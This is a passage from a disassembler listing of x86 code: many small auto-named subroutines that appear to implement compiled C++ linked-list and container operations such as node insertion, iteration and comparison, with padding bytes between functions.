mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415160 proc near ; CODE XREF: sub_4012E9j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_415160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151A0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_4151A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151D0 proc near ; CODE XREF: sub_40147Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D89
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40215D
pop esi
pop ecx
retn 4
sub_4151D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415210 proc near ; CODE XREF: sub_401258j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_401D89
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4012E9
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401D5C
test al, al
jz short loc_415291
push edi
mov edi, [esp+14h+arg_0]
loc_415243: ; CODE XREF: sub_415210+7Ej
lea ecx, [esp+14h+var_C]
call sub_401FA5
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415275
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_40156E
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
jmp short loc_41527E
; ---------------------------------------------------------------------------
loc_415275: ; CODE XREF: sub_415210+42j
lea ecx, [esp+14h+var_C]
call sub_4020A4
loc_41527E: ; CODE XREF: sub_415210+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401D5C
test al, al
jnz short loc_415243
pop edi
loc_415291: ; CODE XREF: sub_415210+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152D0 proc near ; CODE XREF: sub_401E1Fj
push esi
mov esi, ecx
call sub_401EB5
mov eax, esi
pop esi
retn
sub_4152D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152F0 proc near ; CODE XREF: sub_401FA5j
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_4152F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415310 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415340 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015CD
neg al
sbb eax, eax
inc eax
retn 4
sub_415340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415370 proc near ; CODE XREF: sub_401F05j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C7B
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_415370 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4153B0 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E1A
sub_4153B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401983j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401249
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415460 proc near ; CODE XREF: sub_402234j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415490 proc near ; CODE XREF: sub_401EF1j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402234
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A96
pop esi
pop ecx
retn 4
sub_415490 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154D0 proc near ; CODE XREF: sub_401924j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4154D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415520 proc near ; CODE XREF: sub_401154j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_402234
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_401983
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401AD7
test al, al
jz short loc_4155A1
push edi
mov edi, [esp+14h+arg_0]
loc_415553: ; CODE XREF: sub_415520+7Ej
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415585
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
jmp short loc_41558E
; ---------------------------------------------------------------------------
loc_415585: ; CODE XREF: sub_415520+42j
lea ecx, [esp+14h+var_C]
call sub_4018B6
loc_41558E: ; CODE XREF: sub_415520+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401AD7
test al, al
jnz short loc_415553
pop edi
loc_4155A1: ; CODE XREF: sub_415520+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155E0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E79
mov eax, esi
pop esi
retn
sub_4155E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402126
add esp, 4
retn
sub_415600 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415620 proc near ; CODE XREF: sub_4018B6j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415620 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415650 proc near ; CODE XREF: sub_401AD7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EA6
neg al
sbb eax, eax
inc eax
retn 4
sub_415650 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415680 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DA2
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_415680 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4156C0 proc near ; CODE XREF: sub_4014B5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401EF6
sub_4156C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401BB8
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415770 proc near ; CODE XREF: sub_40114Aj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415770 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4157A0 proc near ; CODE XREF: sub_401406j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401CFD
pop esi
pop ecx
retn 4
sub_4157A0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4157E0 proc near ; CODE XREF: sub_401C62j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
pop esi
add esp, 0Ch
retn
sub_4157E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415830 proc near ; CODE XREF: sub_402130j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_40114A
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4018F2
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401339
test al, al
jz short loc_4158B1
push edi
mov edi, [esp+14h+arg_0]
loc_415863: ; CODE XREF: sub_415830+7Ej
lea ecx, [esp+14h+var_C]
call sub_40135C
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415895
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_415895: ; CODE XREF: sub_415830+42j
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41589E: ; CODE XREF: sub_415830+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401339
test al, al
jnz short loc_415863
pop edi
loc_4158B1: ; CODE XREF: sub_415830+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158F0 proc near ; CODE XREF: sub_402252j
push esi
mov esi, ecx
call sub_401E29
mov eax, esi
pop esi
retn
sub_4158F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017DA
add esp, 4
retn
sub_415910 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415930 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BB8
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415930 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40144C
neg al
sbb eax, eax
inc eax
retn 4
sub_415960 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415990 proc near ; CODE XREF: sub_40113Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415990 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159D0 proc near ; CODE XREF: sub_4016CCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_4159D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A00 proc near ; CODE XREF: sub_40215Dj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C4E
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401EBA
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401EFB
add esp, 4
mov ecx, esi
push eax
call sub_402194
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401DA7
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_415A00 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AA0 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CA8
test al, al
jz short loc_415AED
push edi
mov edi, [esp+8+arg_0]
loc_415ABA: ; CODE XREF: sub_415AA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A4B
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40215D
lea ecx, [esp+8+arg_4]
call sub_4020EF
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CA8
test al, al
jnz short loc_415ABA
pop edi
loc_415AED: ; CODE XREF: sub_415AA0+13j
pop esi
retn 0Ch
sub_415AA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B20 proc near ; CODE XREF: sub_401FAFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40156E
mov ecx, eax
call sub_401C4E
mov esi, eax
push esi
call sub_40208B
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_40208B
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401EFB
add esp, 1Ch
mov ecx, edi
push eax
call sub_4014F6
push esi
mov ecx, edi
call sub_401CD5
sub_415B20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_401465j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jz short loc_415C3A
loc_415BF8: ; CODE XREF: sub_415BE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40156E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jnz short loc_415BF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415C3A: ; CODE XREF: sub_415BE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415BE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415C70 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020D6
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_415C85
mov edi, esi
loc_415C85: ; CODE XREF: sub_415C70+11j
push esi
call sub_40208B
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_415C9A
mov edi, esi
loc_415C9A: ; CODE XREF: sub_415C70+26j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_415C70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415CC0 proc near ; CODE XREF: sub_401CD5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E01
sub_415CC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40208Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D00 proc near ; CODE XREF: sub_401EFBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415D00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D20 proc near ; CODE XREF: sub_401EB5j
mov eax, ecx
retn
sub_415D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D40 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415D40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020A4
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415D70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DA0 proc near ; CODE XREF: sub_4015CDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415DA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DD0 proc near ; CODE XREF: sub_401A96j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F6E
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C7B
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402126
add esp, 4
mov ecx, esi
push eax
call sub_4015E6
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401CC6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_415DD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415E70 proc near ; CODE XREF: sub_4017DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F6E
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402126
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D4D
push esi
mov ecx, edi
call sub_401E1A
sub_415E70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415F30 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jz short loc_415F8A
loc_415F48: ; CODE XREF: sub_415F30+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jnz short loc_415F48
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415F8A: ; CODE XREF: sub_415F30+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415F30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415FC0 proc near ; CODE XREF: sub_401C7Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015A5
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_415FD5
mov edi, esi
loc_415FD5: ; CODE XREF: sub_415FC0+11j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_415FEA
mov edi, esi
loc_415FEA: ; CODE XREF: sub_415FC0+26j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_415FC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416010 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416010 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416030 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416050 proc near ; CODE XREF: sub_402126j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416070 proc near ; CODE XREF: sub_401E79j
mov eax, ecx
retn
sub_416070 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416090 proc near ; CODE XREF: sub_401CC6j
arg_0 = dword ptr 4
